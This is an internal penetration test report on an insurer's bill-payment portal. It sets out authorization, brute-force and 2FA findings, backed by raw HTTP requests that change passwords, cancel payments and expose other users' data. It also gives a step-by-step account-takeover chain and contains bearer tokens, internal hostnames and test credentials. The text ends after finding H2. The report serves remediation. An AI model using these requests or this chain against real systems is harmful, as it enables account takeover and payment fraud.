|  |  |
| --- | --- |
| **Information Security Department** | **Application Security Review** |

***This form is provided for solutions, frameworks, systems, technologies, projects, or processes that Application Security has been asked to assess or review as part of the overall Information Security program. This Application Security Review Form provides a method of documenting and communicating that a formal Application Security assessment and review has been completed, and that the solution, framework, system, technology, project, or process may move forward, be installed, or be implemented within the Anthem business environment.***

|  |  |
| --- | --- |
| **Application / System Name** | Shopper-PP-MWPPPORT-TPC-UI |
| **Date** | 05/03/2019 |
| **Requesting Team or Organization** | Shopper Portals |
| **Primary Security Team** | Application Security |
| **Target Area or Primary Users** | Members |
| **Advisor Responsible for Review** | Daniel R. Rodriguez Gambetta, Security Analyst III, Application Security  Aaron Rhoades, Intern, Application Security |
| **Technology Team POC(s)** | Rajkumar Ganesan, Engineer III, Shopper Portals  Sai Vinnakota, Engineer Lead, Shopper Portals |
| **Business Team POC(s)** |  |
| **Vendor POC** |  |
| **Application Tracker ID** | BIT#:041800000J9R; AppID:502 |
| **Assessment Type** | Manual Penetration Test (MPT) |

|  |
| --- |
| Table of Contents  [*Critical-Risk Findings* 4](#_Toc10637456)  [C1 – Privilege Escalation – Open 4](#_Toc10637457)  [C2 – Unrestricted Change Password Attempts – Closed 13](#_Toc10637458)  [*High-Risk Findings* 16](#_Toc10637459)  [H1 – Authentication Bypass – Closed 16](#_Toc10637460)  [H2 – 2FA Redirect – Open 19](#_Toc10637461)  [H3 – Weak Password Policy – Open 21](#_Toc10637462)  [H4 – Improper Behavioral Workflow – Open 25](#_Toc10637463)  [H5 – Privilege Escalation – Open 28](#_Toc10637464)  [*Medium-Risk Findings* 29](#_Toc10637465)  [M1 – Account Enumeration – Open 29](#_Toc10637466)  [M2 – Frameable Response/Clickjacking – Open 33](#_Toc10637467)  [M3 – Security Questions Exposure – Open 36](#_Toc10637468)  [M4 – Information Exposure via Error Message – Open 37](#_Toc10637469)  [M5 – Strict Transport Security Not Implemented – Open 38](#_Toc10637470)  [M6 – Weak Input Validation – Open 39](#_Toc10637471)  [*Low-Risk Findings* 40](#_Toc10637472)  [L1 – Use of Hard-Coded Credentials – Open 40](#_Toc10637473)  [L2 – Cache Controls Not Set – Open 41](#_Toc10637474)  [*Informational Findings* 43](#_Toc10637475)  [I1 – Improper Input Validation – Open 43](#_Toc10637476)  [I2 – Improper Comparison Operator – Open 45](#_Toc10637477)  [I3 – Content Sniffing Not dDsabled – Open 46](#_Toc10637478) |

|  |
| --- |
| **Introduction** |
| **Executive Summary**  This is a point-in-time manual penetration assessment of the Shopper-PP-MWPPPORT-TPC-UI application conducted by the Application Security team. Critical vulnerabilities have been identified, which combined, allow an attacker to bypass 2FA and take complete control over a targeted account.  **Technical Use Case**  The Shopper-PP-MWPPPORT-TPC-UI application allows care members to pay bills using credit cards or bank accounts. |

**Findings**

# *Critical-Risk Findings*

|  |  |
| --- | --- |
| C1 – Privilege Escalation – Open | |
| CVSS Score and Link | [9.8](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-285: Improper Authorization |
| Affected Systems | payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/account/changePassword  payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/account/deleteUser  payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/account/modifyUser  payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/updateTPCRecurringPayments  payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/updateTPCMembers  payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/submitTPCPayment  payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/cancelTPCPayment |
| Description | The application allows users to access resources that they should not have permission to access. This is due to improper authorization of user requests. The application relies on the assumption that the user will request only those portions they are authorized to access, rather than validating and authenticating every user request. |
| Recommendations | The application should perform server-side authorization for all requests. Do not assume that a request is permissible because the request comes from an authenticated user. It is also necessary to verify that the user making the request has the necessary privileges (is authorized) to make such a request. Unauthorized requests should be denied. Do not rely on client-side values or code to decide which functionality is available to users; users can manipulate client-side data and functionality. Such functionality should be validated by querying a session object, database, or some other information that users cannot directly modify. Developers should treat client-supplied input as untrusted and not rely on presentation logic to provide higher-level privileges. Logic running on the server should be used to determine a user's role and present the appropriate browser screens. Hiding or disabling functionality solely within the user interface is not secure.  References:   * OWASP Top 10 A7 – Missing Function Level Access Control ([https://www.owasp.org/index.php/Top\_10\_2013-A7-Missing\_Function\_Level\_Access\_Control)](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control) |
| Retest Notes | **06/05/2019 – Open (unable to access functionality):**   * payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/updateTPCRecurringPayments (unable to retest) * payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/submitTPCPayment (unable to retest) * payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/cancelTPCPayment (unable to retest)   **06/05/2019 – Severity Lowered:**  This flaw has been lowered in severity to a high finding. Details regarding the open flaws can be found in H5 below.   * payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/account/changePassword (open)   **06/05/2019 – Closed:**   * payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/account/deleteUser (closed) * payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/account/modifyUser (closed) * payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/updateTPCMembers (closed)   **05/08/2019 - Open:**  During the retest, the tester found that not all instances of the finding were fixed. The following features have been fixed:  **Update Contact Information**  The modifyUser functionality is no longer vulnerable. The tester was not able to modify the UserName and make unauthorized changes to user accounts.   1. Update Phone Number   Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/modifyUser HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: AaronSIT2 #attempted to modify user name  **[SNIP]**  {  "attributes": [  {  "attributeName": "PHONE\_NUMBER",  "attributeValue": "3179371250"  }  ]  } |   Response:   |  | | --- | | HTTP/1.1 500 Internal Server Error  **[SNIP]**  Error 500: javax.servlet.ServletException: Invalid token. |  1. Update Email Address   Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/modifyUser HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: AaronSIT2 #attempted to modify user name  **[SNIP]**  {  "attributes": [  {  "attributeName": "EMAIL\_ADDRESS",  "attributeValue": "hacker@yahoo.com"  }  ]  } |   Response:   |  | | --- | | HTTP/1.1 500 Internal Server Error  **[SNIP]**  Error 500: javax.servlet.ServletException: Invalid token. |   **Delete Users**  The delete user functionality is no longer vulnerable. The tester was not able to delete user accounts for other users by modifying the request.  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/deleteUser HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: AaronSIT2  **[SNIP]**  {  "relationShipType": "WPNT\_TRL"  } |   Response:   |  | | --- | | HTTP/1.1 500 Internal Server Error  **[SNIP]**  Error 500: javax.servlet.ServletException: Invalid token. |   The instances in the following application features are **still open**:  **Update Password**  The tester found that the update password functionality is not fix at all endpoints. It is still vulnerable using the forgot password function. The following request/response combination shows the vulnerable feature using the forgot password functionality:  Request:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  {  "userName": "AaronSIT",  "currentPassword": "Password1",  "newPassword": "Anthem12"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"changeStatus":true} |   The following request/response combination shows the fixed endpoint when using the update password feature on the user settings section of the application:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  UserName: AaronSIT2 #attempted to modify user name  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36  Referer: https://payment.sit2.va.anthem.com/sgofundindv/secure/accountSettings  **[SNIP]**  {  "currentPassword": "Password1",  "newPassword": "Anthem1"  } |   Response:   |  | | --- | | HTTP/1.1 500 Internal Server Error  **[SNIP]**  Error 500: javax.servlet.ServletException: Invalid token. |   **Update Recurring Payments**  The tester found that this functionality is vulnerable by changing the user name in the request it is possible to cancel recurring payments on other users accounts without authorization.  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/myaccount/updateTPCRecurringPayments HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: AaronSIT  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36  Referer: https://payment.sit2.va.anthem.com/sgofundindv/secure/setAutoPayment  **[SNIP]**  {  "loggedInUser": "AaronSIT2",  "hcid": "452T90866",  "memberName": "LLL LLL",  "updateRecurringPaymentRequests": [  {  "action": "DEL",  "recurringPaymentDetails": [  {  "productId": "1YD500",  "paymentMethods": {  "tokenId": "EF11402C6E7FE55C7A774B653DCF752C",  "paymentType": "CREDITDEBITCARD",  "bankAccountType": "VISA"  },  "memberDetails": {  "hcid": "452T90866",  "linkedBills": [  {  "contractIndicators": "",  "personDetails": {  "summaryBillNo": "",  "hcid": "452T90866",  "brand": "ABCBS",  "state": "CT"  },  "billAccounts": [  {  "paidToDate": "20180101",  "subGroupId": "1YD500"  }  ]  }  ]  },  "payDate": "1st"  }  ]  }  ]  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 08 May 2019 19:15:30 GMT  Set-Cookie: **[SNIP]**  {"updateRecurringPaymentResponses":[{"summaryBillNo":"","productId":"1YD500","confirmStatus":"Confirmed"}]} |   **Delete Members**  The tester found that the delete member functionality is still vulnerable. It is possible to add and delete members from user accounts that are not owned by the attacker.  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/myaccount/updateTPCMembers HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: AaronSIT  **[SNIP]**  {  "tpcMemberDetails": [  {  "memberId": "732T91187",  "fullName": "FRED Andrews"  }  ],  "userId": "AaronSIT2",  "action": "DELETE",  "relationShipType": "WPNT\_TRL"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 08 May 2019 19:26:35 GMT  **[SNIP]**  {"memberPayException":null,"sourceSystem":null,"message":{"messageCode":0,"messageText":"Member is deleted successfully"},"ackStatus":"Success","messages":null} |   **Submit Payment**  The tester was able to submit a payment using a credit card profile that does not belong to the logged in user account. It is possible to view other users stored credit card profiles using the vulnerability demonstrated in H1 Authorization bypass.  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/myaccount/submitTPCPayment HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: AaronSIT  **[SNIP]**  {  "hcid": "AaronSIT",  "relationShipType": "WPNT\_TRL",  "memberpaySubmitPayments": [  {  "submittedHcid": "AaronSIT",  "paymentHcid": "452T90866",  "contractCode": "1YD500",  "paymentAmount": "265.42",  "tokenId": "8BBE7440F8073835F2DB94E98A6C030C", #Payment token ID is stored on the AaronSIT2 user account NOT the account used to make the request.  "paymentDate": "05/08/2019",  "nameOfAccount": "LLL LLL",  "paymentType": "CREDITDEBITCARD",  "bankAccountType": "VISA",  "confirmAccountNo": "\*\*\*\*\*\*\*\*\*\*\*\*2521",  "subGroupId": "1YD500",  "firstName": "LLL",  "lastName": "LLL",  "dateOfBirth": "1990-01-01",  "summaryBillNo": null,  "brand": "ABCBS",  "state": "CT",  "mamStatusCode": "A",  "whetherSummaryBillNo": false,  "subscriberId": "",  "memberSequenceNumber": "",  "productType": "Medical premium Payment"  }  ],  "newPaymentMethod": false,  "payMetFutureUse": false  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 08 May 2019 19:38:49 GMT  **[SNIP]**  {"memberPayException":null,"sourceSystem":null,"message":{"messageCode":0,"messageText":"Service Responded"},"memberpaySubmitPayments":[{"id":null,"submittedHcid":null,"paymentHcid":"452T90866","contractCode":"1YD500","paymentAmount":"265.42","confirmationNumber":"201905083461089","tokenId":"8BBE7440F8073835F2DB94E98A6C030C","status":null,"paymentDate":"05/08/2019","nameOfAccount":"LLL LLL","routingNumber":null,"accNickName":null,"paymentType":"CREDITDEBITCARD","billingAddress":null,"bankAccountType":null,"expiration":null,"confirmAccountNo":"\*\*\*\*\*\*\*\*\*\*\*\*2521","subGroupId":null,"summaryBillNo":null,"message":{"messageCode":0,"messageText":"Success"},"firstName":null,"lastName":null,"state":"CT","dateOfBirth":null,"brand":"ABCBS","mamStatusCode":null,"whetherSummaryBillNo":false,"subscriberId":null,"memberSequenceNumber":null,"productType":"Medical premium Payment","requestingSystem":null}],"emailListMap":null} |   **Delete Payments**  The tester was able to delete payments made by victim accounts without authorization. The payment tracking number is easy to brute-force. The first eight numbers are the date the payment was made and the next seven are sequential, increasing by a small amount each time.  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/myaccount/cancelTPCPayment HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: AaronSIT  **[SNIP]**  {  "hcid": "AaronSIT2",  "relationShipType": "WPNT\_TRL",  "paymentTrackingNo": "201905083461091" #Easily brute-forceable tracking number  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"memberPayException":null,"sourceSystem":null,"message":null,"paymentCancelStatus":"Success"} | |
| During the assessment, the tester noted that the application does not implement proper authorization controls allowing regular users to modify/delete information of other users. The tester leveraged the lack of authorization controls to delete other users, modify contact information and change passwords. The following set of request/response combinations show the unauthorized actions that the tester was able to perform:  **Update Password**  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJEYW5pZWxVQVQyLWdiZGFwcHNlY3VyZSIsImlhdCI6MTU1NTQ0MDAzNX0.4zL8H0NGpvyL5A7LpLWQ5tRewF9OOxMmSpU5\_gg4H3E  UserName: DanielUAT2  **[SNIP]**  {  "userName": "appsec3",  "dn": "CN=appsec3,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "5867dad9-66c5-4e8c-9ec0-cbee7d91bbbc",  "currentPassword": "Anthem12",  "newPassword": "Password1"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Tue, 16 Apr 2019 19:09:04 GMT  Set-Cookie:  **[SNIP]**  {"changeStatus":true} |   **Update Contact Information**   1. Update Phone Number  |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/modifyUser HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: DanielUAT2  **[SNIP]**  {  "userName": "appsec3",  "dn": "CN=appsec3,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "5867dad9-66c5-4e8c-9ec0-cbee7d91bbbc",  "attributes": [  {  "attributeName": "PHONE\_NUMBER",  "attributeValue": "3179703970"  }  ]  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  Set-Cookie: SMSESSION=LOGGEDOFF; path=/; domain=.anthem.com; secure; HTTPOnly  **[SNIP]**  {"modified":true} |  1. Update Email Address   Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/modifyUser HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: DanielUAT2  **[SNIP]**  {  "userName": "appsec3",  "dn": "CN=appsec3,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "5867dad9-66c5-4e8c-9ec0-cbee7d91bbbc",  "attributes": [  {  "attributeName": "EMAIL\_ADDRESS",  "attributeValue": "aaronrhoades19@yahoo.com"  }  ]  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"modified":true,"user":{"emailAddress":"aaronrhoades19@yahoo.com","username":"appSec3","iamGuid":"3c43a064-5eff-46a9-acff-2ed81001096e","firstName":"Rhoades","lastName":"Aaron","dn":"CN=appSec3,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com","repositoryEnum":"IAM","userRoleEnum":"GOFUNDCOMMERCIAL","userAccountStatus":{"disabled":false,"locked":false,"forceChangePassword":false,"badSecretAnsCount":0,"badPasswordCount":0,"lastLoginTime":null,"comments":null,"userNameValid":false,"secretQuestionValid":false},"memberOf":[],"ssoID":[],"secretQuestionAnswers":[{"question":"What school did you attend for the third grade?","answer":"6EJso/Fz+oO90gQEZAdGr6JH89s=","encrypted":true,"questionValid":true},{"question":"What is your maternal grandmother's maiden name?","answer":"6EJso/Fz+oO90gQEZAdGr6JH89s=","encrypted":true,"questionValid":true},{"question":"What is your paternal grandfather's first name?","answer":"6EJso/Fz+oO90gQEZAdGr6JH89s=","encrypted":true,"questionValid":true}],"authFlag":false}} |   **Delete Users:**  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/deleteUser HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: testMpt3`sa  **[SNIP]**  }  "userName": "testMpt123",  "dn": "CN=testMpt123,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "relationShipType": "WPNT\_TPS"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  Content-Length: 25  {"deleteUserStatus":true} |   The tester went into the application and manually confirmed that all the changes mentioned above were successful. **NOTE:** It is important to note that combining this finding with password brute-force (finding id: C2) and user enumeration (finding id:M1) could give an attacker full-control over a victim’s account. The following steps can be used to compromised a registered account.   1. Using the Account Enumeration vulnerability we can find a target victim. 2. After creating a dummy account, you can guess and change the target victim’s password since the application does not restrict the number of passwords attempts using the “paymentgateway/gofundindv/secure/v1/tpc/account/changePassword” endpoint. 3. Use the “/paymentgateway/gofundindv/secure/v1/tpc/account/modifyUser” endpoint to change the victim’s contact information to give the application send the 2FA code. 4. Login using the updated password and select the delivery method you updated on step 3. | |

|  |  |
| --- | --- |
| C2 – Unrestricted Change Password Attempts – Closed | |
| CVSS Score and Link | [9.1](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CWE | CWE-307: Improper Restriction of Excessive Authentication Attempts |
| Affected Systems | payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/account/changePassword |
| Description | The software does not implement sufficient measures to prevent multiple failed authentication attempts within in a short time frame, making it more susceptible to brute force attacks. |
| Recommendations | **Phase: Architecture and Design**  Common protection mechanisms include:   * Disconnecting the user after a small number of failed attempts * Implementing a timeout * Locking out a targeted account * Requiring a computational task on the user's part |
| Retest Notes | **06/05/2019 – Closed:**  The application is properly restricting the amount of password change attempts to 6. Once that limit is reached, the application is locking the account to prevent brute force password checks. This functionality can still be used for account enumeration. Evidence has been added to M1.  **HTTP request:**   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Referer: https://payment.sit2.va.anthem.com/gofundindv/resetpassword  [SNIP]  Cache-Control: no-cache  {  "userName": "thompjac48",  "currentPassword": "fu9q65nobv",  "newPassword": "password1"  } |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 05 Jun 2019 16:32:05 GMT  [SNIP]  Content-Length: 59  {"errorMessage":"NOATTEMPTSREMAINING","changeStatus":false} |   **05/08/2019 – Open:**  During the retest, the tester found no change in the behavior of the vulnerable functionality. The application is not restricting the number of password attempts allowing for an attacker to brute-force the passwords of registered users. The following request/response combination shows the ability to brute-force the password:  Request:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  {  "userName": "AaronSIT",  "currentPassword": "Broncos",  "newPassword": "Password1"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"errorMessage":"WRONGCURRPASSWORD","changeStatus":false} | |
| During the manual assessment, the tester found that the application fails to restrict the number of password attempts allowing an attacker to brute-force and guess the passwords of registered users. The tester leveraged the change password feature to guess other users’ passwords. The application returns the “WRONGCURRPASSWORD” error message when the password is incorrect. The following request/response combination shows how the application returns an incorrect password error message when the tester (DanielUAT2) tried to change the password of another user (appsec3):  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJEYW5pZWxVQVQyLWdiZGFwcHNlY3VyZSIsImlhdCI6MTU1NTQ0MDAzNX0.4zL8H0NGpvyL5A7LpLWQ5tRewF9OOxMmSpU5\_gg4H3E  UserName: DanielUAT2  **[SNIP]**  {  "userName": "appsec3",  "dn": "CN=appsec3,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "5867dad9-66c5-4e8c-9ec0-cbee7d91bbbc",  "currentPassword": "Anthem132",  "newPassword": "Password1"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  Content-Length: 57  {"errorMessage":"WRONGCURRPASSWORD","changeStatus":false} |   The application does not restrict the number of attempts users can make allowing attackers to brute-force passwords of other users. The tester was able to submit multiple requests to successfully guess the password of the “appsec3” user. The following request/response combination shows the successful password guess attempt:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJEYW5pZWxVQVQyLWdiZGFwcHNlY3VyZSIsImlhdCI6MTU1NTQ0MDAzNX0.4zL8H0NGpvyL5A7LpLWQ5tRewF9OOxMmSpU5\_gg4H3E  UserName: DanielUAT2  **[SNIP]**  {  "userName": "appsec3",  "dn": "CN=appsec3,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "5867dad9-66c5-4e8c-9ec0-cbee7d91bbbc",  "currentPassword": "Anthem12",  "newPassword": "Password1"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Tue, 16 Apr 2019 19:09:04 GMT  Set-Cookie:  **[SNIP]**  {"changeStatus":true} | | |

# *High-Risk Findings*

|  |  |
| --- | --- |
| H1 – Authentication Bypass – Closed | |
| CVSS Score and Link | [7.5](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-603: Use of Client-Side Authentication |
| Affected Systems | payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/getTPCMembers  payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/getTPCPaymentMethods |
| Description | A client/server product performs authentication within client code but not in server code, allowing serve r-side authentication to be bypassed via a modified client that omits the authentication check. |
| Recommendations | Phase (Architecture and Design) - Do not rely on client side data. Always perform server side authentication. |
| Retest Notes | **06/05/2019 – closed:**  The application makes use of bearer authentication for validating member and payment information on the myAccount page. This provides enough protection to block an unauthorized user from vewing this information on another account.  **HTTP Request 1:**   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/myaccount/getTPCMembers HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ0aG9tcGphYzQ4LWdiZGFwcHNlY3VyZSIsImlhdCI6MTU1OTc1NTg3N30.BbE22f1jGq1O1i7dyWsON7IFNPDuOSYjZsCcl1Yn5TA  [SNIP]  Connection: close  Pragma: no-cache  Cache-Control: no-cache  {} |   **HTTP Response 1:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 05 Jun 2019 17:36:25 GMT  [SNIP]  Content-Length: 1454  {"memberPayException":null,"sourceSystem":null,"message":{"messageCode":0,"messageText":"Members retrieved"},"tpcMemberDetails":[{"fullName":"Fred Andrews","[SNIP] |   **HTTP Request 2:**   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/myaccount/getTPCPaymentMethods HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Content-Type: application/json; charset=UTF-8  Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ0aG9tcGphYzQ4LWdiZGFwcHNlY3VyZSIsImlhdCI6MTU1OTc1NTg3N30.BbE22f1jGq1O1i7dyWsON7IFNPDuOSYjZsCcl1Yn5TA  [SNIP]  Cache-Control: no-cache  {  "relationShipType": "WPNT\_TPS"  } |   **HTTP Response 2:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 05 Jun 2019 17:36:27 GMT  [SNIP]  Connection: close  Content-Length: 579  {"memberPayException":null,"sourceSystem":null,"message":{"messageCode":0,"messageText":"Success"},"bankAccountDetails":[{"bankAccountType":"PERSONAL\_CHECKING","routingNumber":"  [SNIP] | |
| The tester was able to bypass the client-side authentication mechanism by modifying the request user parameter. The following set of requests/responses show the successful bypass of authentication to see the victim’s profile while logged into the application with the attacker’s profile:  Victim’s TPC Members:  The following request/response combination shows that the tester was able to see the victim’s TPC members information by modifying the username parameter:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/myaccount/getTPCMember HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: appSec6 #logged in user  **[SNIP]**  Referer: https://payment.sit2.va.anthem.com/sgofundindv/secure/myAccount  **[SNIP]**  {  "userId": "DanielUAT10" #account that will be viewable  }  ": "WPNT\_TRL”  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 17 Apr 2019 18:12:39 GMT  Set-Cookie:**[SNIP]**  {"memberPayException":null,"sourceSystem":null,"message":{"messageCode":0,"messageText":"Members retrieved"},"tpcMemberDetails":[{"fullName":"LLL LLL","memberId":"452T90866","dateOfBirth":"01/01/1990","zipCode":"06404","tpcBillDetails":[{"groupId":"STARIN","productId":"1YD5","subGroupId":"1YD500","planName":"BZ HMO 5800/30%/6650 1YD5","billDate":"","dueDate":"20180101","paidToDate":"20180101","subGroupName":"Medical Account","minDue":0.0,"totalDue":265.42,"paymentProcessing":false,"autoPay":false,"disabled":false,"confirmationNo":null,"cashPayPendingProduct":false,"mamStatusCode":"A","showContent":"No","contentDescription":"Our records indicate we have not received your full premium payment, please pay your premium in full in order to avoid cancellation. Any partial payment of the total amount due will not be sufficient to remove your coverage from the grace period, reinstate your coverage if your coverage has been suspended, or prevent cancellation.","shortContent":"Pay Now","status":"ACTIVE","effectiveDate":"01/01/2019"}],"editAutoPay":false,"brand":"ABCBS","state":"CT","pendingPayment":false,"dueDate":"20180101","checked":false}],"memberPaginationCount":5,"paymentsPaginationCount":5} |   Victim’s Payment Methods:  The following request/response combination shows that the tester was able to see the victim’s payment methods by modifying the username parameter:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/myaccount/getTPCPaymentMethods HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: appSec6 #Logged in user  **[SNIP]**  {  "hcid": "DanielUAT10" #account that will be viewable  "relationShipType": "WPNT\_TRL"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 17 Apr 2019 18:12:47 GMT  Set-Cookie:**[SNIP]**  {"memberPayException":null,"sourceSystem":null,"message":{"messageCode":0,"messageText":"Success"},"bankAccountDetails":null,"creditCardDetails":[{"creditCardNumber":"\*\*\*\*\*\*\*\*\*\*\*\*2537","creditCardType":"MC","expirationMonth":"12","expirationYear":"2023","securityCode":null,"accountHolderName":"Dani Appsec","accountAddress1":"Test 56","accountAddress2":null,"accountCity":"Indianapolis","accountState":"AK","accountPostalCode":"46202","accountNickname":"TestMasterCard","tokenId":"95985ED32ED940A89658B2133B765CC3"},{"creditCardNumber":"\*\*\*\*\*\*\*\*\*\*\*\*1443","creditCardType":"VISA","expirationMonth":"02","expirationYear":"2020","securityCode":null,"accountHolderName":"Test Account","accountAddress1":"Street","accountAddress2":null,"accountCity":"Indianapolis","accountState":"AL","accountPostalCode":"46202","accountNickname":"TestVisa","tokenId":"D4D70357F38521A720E096B22F0AECD3"}]} | | |

|  |  |
| --- | --- |
| H2 – 2FA Redirect – Open | |
| CVSS Score and Link | [7.5](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-304: Missing Critical Step in Authentication |
| Affected Systems | payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/otp/send |
| Description | The software implements an authentication technique, but it skips a step that weakens the technique. The tester was able to redirect the one time password to an email that is not registered with the users account. |
| Recommendations | Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks. The application should verify that the one time password is being sent to an email that is registered with the users account. |
